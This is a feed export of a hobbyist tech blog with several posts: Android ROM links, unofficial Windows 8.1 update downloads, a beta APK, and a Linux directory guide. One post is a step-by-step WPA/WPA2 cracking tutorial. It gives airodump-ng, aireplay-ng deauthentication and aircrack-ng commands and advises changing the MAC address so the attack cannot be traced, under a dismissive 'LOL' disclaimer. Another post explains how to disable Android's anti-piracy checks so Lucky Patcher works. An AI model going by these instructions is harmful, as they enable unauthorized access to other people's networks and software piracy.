tag:blogger.com,1999:blog-61035878720064142962024-03-14T06:45:55.867+01:00CALIBAN666 IS ADDICTED TO FLASHALL ABOUT TECHSTUFF FOR ANDROID,WINDOWS,LINUX AND MANY MORE!!!-CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.comBlogger31125truetag:blogger.com,1999:blog-6103587872006414296.post-54990227687097688872017-03-31T05:34:00.000+02:002017-03-31T05:34:22.843+02:00<h2>
Android 7.1.2 aka Oreo System,Apps,Sounds,Fonts,Bootanimation etc!!!!</h2>
https://forum.xda-developers.com/android/general/android-oreo-systemsounds-apps-t3581824#post71659621-CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.com0tag:blogger.com,1999:blog-6103587872006414296.post-81833927008695836592015-08-18T13:43:00.001+02:002015-08-18T13:43:10.242+02:00HOW TO DISABLE THE ANTIPIRACYCONTENT CHECKER ON ANDROID LOLLIPOP 5.1.1<div style="background-color: #171717; font-family: helvetica, arial, sans-serif; font-size: 14px; line-height: 19.3199996948242px; margin-bottom: 6px; outline: none !important;">
<span style="color: cyan;">Here is latest SOLUTION for the from me very hated ANTI PIRACY CONTENT ERASE "feature" in new/latest Lollipop 5.1.1 roms.</span></div>
<div style="background-color: #171717; font-family: helvetica, arial, sans-serif; font-size: 14px; line-height: 19.3199996948242px; margin-bottom: 6px; margin-top: 6px; outline: none !important;">
<span style="color: cyan;">How:<br style="outline: none !important;" />At first u have to download the zip from my drivelink:<br style="outline: none !important;" /><a href="https://drive.google.com/file/d/0B6XgEtS48fvxMlNOQ3NqbTljSFk/view?usp=sharing" rel="nofollow" style="background-color: transparent !important; border-radius: 4px !important; cursor: pointer; outline: none !important; text-decoration: none; transition: color 0.3s, text-shadow 0.6s ease !important;" target="_blank">https://drive.google.com/…/0B6XgEtS48fvxMlNOQ3NqbTljS…/view…</a><span class="text_exposed_show" style="border-color: transparent !important; display: inline; outline: none !important;"><br style="outline: none !important;" />when down just extract the zip and u will find the following files:</span></span></div>
<div class="text_exposed_show" style="background-color: #171717; border-color: transparent !important; display: inline; font-family: helvetica, arial, sans-serif; font-size: 14px; line-height: 19.3199996948242px; outline: none !important;">
<span style="color: cyan;"><div style="margin-bottom: 6px; outline: none !important;">
1. XposedInstaller 3.0 Alpha 4<br style="outline: none !important;" />2. xposed-v71-sdk22-arm-by-romracer-20150816<br style="outline: none !important;" />3. DisableContentGuard 2.1</div>
<div style="margin-bottom: 6px; margin-top: 6px; outline: none !important;">
let this files untouched and follow the steps below!!!!</div>
<div style="margin-bottom: 6px; margin-top: 6px; outline: none !important;">
Install/flash the Xposed Framework.<br style="outline: none !important;" />Now install XposedInstaller_3.0_alpha4,its a must to have this version.<br style="outline: none !important;" />Now simply install the DisableContentGuard.apk and enable it in Xposed and reboot,done.<br style="outline: none !important;" />Now all is like without the anti piracy trash.Lucky Patcher etc is running perfect again.<br style="outline: none !important;" />Tested on several Lollipop 5.1.1 roms by me and some others.<br style="outline: none !important;" />Big thanx and credits to the awesome devs of following apps:<br style="outline: none !important;" />Xposed Framework/Xposed Framework installer<br style="outline: none !important;" />DisableContentGuard.apk<br style="outline: none !important;" />Lucky Patcher</div>
<div style="margin-bottom: 6px; margin-top: 6px; outline: none !important;">
Me<br style="outline: none !important;" />Have Fun and Greeeeeeeeetz!!!!!</div>
</span></div>
-CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.com0tag:blogger.com,1999:blog-6103587872006414296.post-10594826832556130712014-09-06T22:41:00.000+02:002014-09-06T22:41:45.847+02:00WPA / WPA2 cracking [BackTrack]-KaliLinux<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">Here I will explain how to crack a WPA or WPA2 network. </span></span></h3>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3STdru20uhE-au-MVYCQpXWn-wtlPtBMPxsFWC3OBzc5iG3iPhr9lwCSbnOxdsDFQ2Xk9Gc5lV5_5zwBiYpaatzURBidr7Pf1pBVv4AXfZMn54Awv2G2cDgxWAeYoXT-TStaLSCMZB7Q/s1600/bt5r2-blog-1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3STdru20uhE-au-MVYCQpXWn-wtlPtBMPxsFWC3OBzc5iG3iPhr9lwCSbnOxdsDFQ2Xk9Gc5lV5_5zwBiYpaatzURBidr7Pf1pBVv4AXfZMn54Awv2G2cDgxWAeYoXT-TStaLSCMZB7Q/s1600/bt5r2-blog-1.jpg" height="160" width="320" /></a></div>
<div style="text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcSVumwfPWHp61yQGenpTWKYKnZaJWxGe_oHqHYg5oNSZhBRMt-Aet8EaIDs7LwJBnylR7OBsJUyfvGnafWFACtpJJ4MaANi2AetQUOJrTrsG1U_Udw0MhsJDYYqAOAr0VdLXUYniUBWY/s1600/kali-blog-000-300x187.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcSVumwfPWHp61yQGenpTWKYKnZaJWxGe_oHqHYg5oNSZhBRMt-Aet8EaIDs7LwJBnylR7OBsJUyfvGnafWFACtpJJ4MaANi2AetQUOJrTrsG1U_Udw0MhsJDYYqAOAr0VdLXUYniUBWY/s1600/kali-blog-000-300x187.png" /></a></div>
<div style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></div>
<div style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></div>
<div style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">With the linuxdistro called BackTrack 5 from following link</span></span></div>
<div style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></div>
<div style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><a href="http://www.backtrack-linux.org/">BACKTRACK 5 PENETRATION SUITE</a></span></span></div>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">---</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">requirements: </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">• Backtrack on CD or USB </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">• Computer compatible with 802.11 WLAN Card </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">• Wireless Access point or WIFI router WPA / WPA2 encryption used </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">• A Word List (use google u find many) </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">---</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">1.BackTrack Start </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">Boot your USB stick or your CD / DVD (depending on which BackTrack version you are) </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">Now start BackTrack. </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">After the boot process is finished you have to type:</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">fixvesa </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">and then:</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">startx </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">Enter to access the Graphical interface of BackTrack. </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">-</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">2.Now we start! </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">Open a shell. </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">Here type:</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">airmon-ng </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">one to find out how your wifi adapter is called. </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">-</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">3.Change the Mac </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">Now you know the name of your adapter. (in my case it is wlan0, so I use from now on wlan0 as interface.) </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">You should change your Mac address that can not be traced back to you later.</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">Code below:</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">airmon-ng stop wlan0 </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">ifconfig wlan0 down </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">macchanger --mac (any mac) wlan0 </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">airmon-ng start wlan0 </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">It should look like this: </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">airmon-ng stop wlan0 </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">ifconfig wlan0 down </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">macchanger --mac 00: 11: 22: 33: 44: 55 wlan0 </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">airmon-ng start wlan0 </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">-</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">4.Choose Network</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">Now you type in the same shell:</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">airodump-ng </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">Now the networks are looking for. </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">On the left we see the BSSID something like the Mac from the router. </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">If the wished network found, we press Ctrl + C to stop the whole process </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">Now you copy the BSSID of the desired network.</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">5.Lets Go</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">Now you have to find the Channel</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">with:</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">airodump-ng-c (channel) -w (filename does not matter what just take wpa or what is easy to remember.) --bssid (BSSID) wlan0 </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">we write our received data in a file. </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">For example: </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">airodump-ng-c 11 -w wpa --bssid 00: 14: F8: 4F: 14: 1A wlan0 </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">With this command we will write our wifi network XY with the BSSID 00: 14: F8: 4F: 14: 1A </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">sending on Channel 11, all received data in the file 'wpa-01.cap' </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">On WPA/WPA2 its not possible to decrypt the password,like on WEP. </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">For this we need a 'handshake'. </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">-</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">6.The handshake </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">Our client is connected to the router ,which send with every new application the password in encrypted manner.</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">We might wait a (likely) forever to get our client reconnects.</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">But we must not.</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">In our shell we see below who else is online. If we get a handshake,</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">we see the top right in the shell. There is then 'handshake'. </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">We now open a new shell to our clients throw out that he needs to reconnect. </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">And type: </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">aireplay-ng -0 5 -a (BSSID) wlan0 </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">5 is the number of tries we want to try all. </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">But it is not mandatory that all works because newer routers dont allow this anymore. </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">How do we get the client to disconect?</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">Is relatively simple. We tell the router: "Hello I'm user XY and would like like to log out." </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">So we throw the client out: </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">aireplay-ng -0 1 -a (BSSID)-c (Mac client) wlan0 </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">The Mac client we see below in shell1. </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">Now we should have a handshake. </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">-</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">7.Crack it! </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">If we have a handshake, we can undisturbed close all our shells, and open a new one. </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">In this we type: </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">aircrack-ng (filename) -01.cap </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">Now we need the wordlist</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">We now go to our Word List which is for example here. </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">/ home / wordlists </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">In my example, is called the Word List 'Wlist.txt'. </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">Now we enter the following in the Shell:</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">aircrack-ng (filename) -01.cap -w (path to the Word List) </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">with me Would it look like this:</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">aircrack-ng wpa-01.cap -w /home/wordlists/Wlist.txt </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;"><br /></span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">Now the program tests all words if they match the encrypted handshake. </span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">If the password is found, it will be shown and youre done.</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">-</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">NOTE: THATS NOT FOR ILLEGAL HACK,ITS FOR TEST YOUR OWN SAFETY!!!!LOL</span></span></h3>
<h3 style="text-align: center;">
<span style="color: cyan;"><span style="background-color: black;">IM NOT RESPONSIBLE FOR ANYTHING!!!!GREEEEEETZ!!!!!!</span></span></h3>
-CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.com0tag:blogger.com,1999:blog-6103587872006414296.post-24823828605848451332014-04-02T04:58:00.002+02:002014-04-02T04:58:34.229+02:00DOWNLOAD+INSTALL THE WINDOWS 8.1-UPDATE 1 NOW!!!<h4>
<span style="background-color: black;">Windows 8.1-Update 1,download and install it now!!!!!</span></h4>
<div>
<span style="background-color: black;">------------------------</span></div>
<h4>
<span style="background-color: black;">Sitelink is in german language but very easy,i translated to english.</span></h4>
<h4>
<span style="background-color: black;">----</span></h4>
<h4>
<span style="background-color: black;">WARNING READ THIS PROPERLY!!!!</span></h4>
<h4>
<span style="background-color: black;">----</span></h4>
<div>
<h4>
<span style="background-color: black;">Go to this</span><span style="background-color: red;"> <a href="http://djbny.com/windows8/">"LINK"</a> </span><span style="background-color: black;">and click on the lil black point,as you can see in picture below.</span></h4>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhz_oMu3_G5kZHj4dvzyr8zUz-9hVmbEzFmEH9vNFEyvyihkgjnPdx5-De5LoWMVFJ0NHNff934xJBivt9n1eB2UefLvSw4oxokSceOgfyiioKWTeR1EGUkudxJtioPWjk0P4YRLSBmh4/s1600/wi1.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhz_oMu3_G5kZHj4dvzyr8zUz-9hVmbEzFmEH9vNFEyvyihkgjnPdx5-De5LoWMVFJ0NHNff934xJBivt9n1eB2UefLvSw4oxokSceOgfyiioKWTeR1EGUkudxJtioPWjk0P4YRLSBmh4/s1600/wi1.PNG" height="237" width="400" /></a></div>
<div>
<span style="background-color: cyan;"><br /></span></div>
<h4>
<span style="background-color: black;">After this you see the files for different systems</span></h4>
</div>
<h4>
<span style="background-color: black;">Choose the files depending to your system.</span></h4>
<h4>
<span style="background-color: black;">32bit or 64bit or ARM-Windows 8.1 RT</span></h4>
<h4>
<span style="background-color: black;">Download ALL files you see,like in the picture below</span></h4>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBD6IayjSQbfQDIuzlCrv44EelwqKB3sF7M6pwXMxGnonhipRgynBzMsBFYjujg1vQNUr55BuDkcHgLavHNLKc5EIMcI0MJewNkl52Ctf60Yg4ZDlt1TmdK8p9hD4Oos_LFgUzVSh5J6g/s1600/winr.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBD6IayjSQbfQDIuzlCrv44EelwqKB3sF7M6pwXMxGnonhipRgynBzMsBFYjujg1vQNUr55BuDkcHgLavHNLKc5EIMcI0MJewNkl52Ctf60Yg4ZDlt1TmdK8p9hD4Oos_LFgUzVSh5J6g/s1600/winr.PNG" height="293" width="400" /></a></div>
<div>
<br /></div>
<h4>
<span style="background-color: black;">--------</span></h4>
<h4>
<span style="background-color: black;">IMPORTANT:</span></h4>
<h4>
<span style="background-color: black;">Its required to install the appropriate updates in the order specified here and start your computer after each update!Files are have numbercodes.</span></h4>
<h4>
<span style="background-color: black;">--------</span><div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
</h4>
<h4>
<span style="background-color: black;">1. install - KB2919442 then KB2939087 and reboot your pc.</span></h4>
<h4>
<span style="background-color: black;">2. install - KB2919355 and reboot your pc.</span></h4>
<h4>
<span style="background-color: black;">3. install - KB2932046 and reboot your pc</span></h4>
<h4>
<span style="background-color: black;">4. install - KB2938439 and reboot your pc</span></h4>
<h4>
<span style="background-color: black;">5. install - KB2937592 and reboot your pc</span></h4>
<h4>
<span style="background-color: black;">Thats it,you have updated to Windows 8.1 Update 1 which is not official released yet,but its final,no fear.</span></h4>
<h4>
<span style="background-color: black;">--------</span></h4>
<h4>
<span style="background-color: black;">HAVE FUN+STAY ADDICTED,GREEEEETZ!!!!!! -CALIBAN666-</span></h4>
-CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.com0tag:blogger.com,1999:blog-6103587872006414296.post-55270822050086201942014-02-24T09:30:00.001+01:002014-02-24T09:30:42.556+01:00Latest Beta version from CyanoGenMods Gallery Next App<h4 style="text-align: center;">
<span style="background-color: black; color: cyan;">Exclusive here on my blog,just for test,have fun.Its a great App!!!!!!!</span></h4>
<h4 style="text-align: center;">
<span style="background-color: black; color: cyan;">GreeeeeTZ!!!!!!!</span></h4>
<div style="text-align: center;">
<span style="background-color: black; color: cyan;">------------------</span></div>
<div style="text-align: center;">
<span style="background-color: black; color: red;">https://www.dropbox.com/s/2oas711uaguj76d/GalleryNext%201012_1012.apk</span></div>
<div style="text-align: center;">
<span style="background-color: black; color: cyan;">------------------</span></div>
<div style="text-align: center;">
<span style="background-color: black; color: cyan;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitlFbr4pn6wggubYt9iIvMD6Ev31waCHklas1ah3KKUc5Sl5tLd_q2aAhLHjcRr_oFpfoOcMk48bsvxe8mtxLgwogB53HlKPHXoaMly7ilqEAvmpIvxPOwG42590H-UmbU0yTGxZ0tKCA/s1600/gallerynext.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitlFbr4pn6wggubYt9iIvMD6Ev31waCHklas1ah3KKUc5Sl5tLd_q2aAhLHjcRr_oFpfoOcMk48bsvxe8mtxLgwogB53HlKPHXoaMly7ilqEAvmpIvxPOwG42590H-UmbU0yTGxZ0tKCA/s1600/gallerynext.jpg" height="189" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<span style="background-color: black;">-----------------------------------------------------------------------------------------------------------</span>-CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.com0tag:blogger.com,1999:blog-6103587872006414296.post-74770249834806285402014-02-01T12:25:00.001+01:002014-02-01T12:25:27.942+01:00CALIBAN666 IS ADDICTED TO FLASH: WHAT´S WHAT IN THE LINUX DIRECTORY STRUCTURE? A IN...<a href="http://caliban666isaddicted.blogspot.com/2014/02/whats-what-in-linux-directory-structure.html?spref=bl">CALIBAN666 IS ADDICTED TO FLASH: WHAT´S WHAT IN THE LINUX DIRECTORY STRUCTURE? A IN...</a>: File Hierarchy Standard While the Windows systems still retain characteristics such as the drive letter and the backward slash as a directo...-CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.com0tag:blogger.com,1999:blog-6103587872006414296.post-82849076433093134762014-02-01T12:10:00.001+01:002014-02-01T12:11:41.270+01:00WHAT´S WHAT IN THE LINUX DIRECTORY STRUCTURE? A INFOGUIDE<h2>
<span style="background-color: black; color: cyan;">File Hierarchy Standard</span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;">While the Windows systems still retain characteristics such as the drive letter and the backward slash as a directory separator, the other operating systems such as Mac OS X and Linux, also root have long been approached and agreed on a common directory structure, starting from the root directory "/" called.</span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;">That there is such uniformity in terms of directory contents and descriptions, is the so-called Filesystem Hierarchy Standard, thanks to short FHS. This describes the development of a Unix directory system.</span><span style="background-color: black; color: cyan;">The current version 2.3 is dated January 2004.</span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;">The FHS is interesting on the one hand for distribution developers , but it describes where the directories and files are found. On the other hand, the user benefits from this by quickly finds his way into other Linux and Unix variants without great incorporation .</span><span style="background-color: black; color: cyan;">Order must be: The Filesystem Hierarchy Standard describes the structure of a Unix directory system.</span><span style="background-color: black; color: cyan;">Order must be: The Filesystem Hierarchy Standard describes the structure of a Unix directory system.</span><span style="background-color: black; color: cyan;">Nor is anything else important for the system administrator , however : there are no drive letters , partitions, hard disks and other storage media such as USB drives and DVD drives are easily integrated as a directory in the directory structure. The expert speaks of hanging or mounting.</span><span style="background-color: black; color: cyan;">Theoretically can be hooked at any location directory. In practice, not that happens . For there are certain places that are provided of how the / tmp or / mnt . However, you can make when putting a server of this fact , by distributing the system on multiple disks or partitions. Anyone who hires sent , prevents , for example, an uncontrolled overflow of the physical memory or can quickly move the user data to another server in the event of a fall .</span><span style="background-color: black; color: cyan;">----------</span><span style="background-color: black; color: cyan;">Root (/)</span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;">Is the root , the root represented by the slash at the top of the whole UNIX directory system. What does the root file system must be sufficient to boot a Linux system or repair . These diagnostics , backup and restore utilities are also required, as configuration files and boot loader information . Important commands such as mount must therefore be directly accessible. But in the root directory typically is nothing except the directories , it is imperative that the appropriate subdirectories , including the programs are also present on the root partition.</span><span style="background-color: black; color: cyan;">Very big the root file system has still not to be. On the contrary : It is advisable to keep this as small as possible in order to possibly run it from a USB stick can . In addition, a small root partition is less susceptible to damage , such as due to a system crash .</span><span style="background-color: black; color: cyan;">--------------</span><span style="background-color: black; color: cyan;">/bin</span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;">The / bin directory must be on the root partition. There are important Unix commands that can be 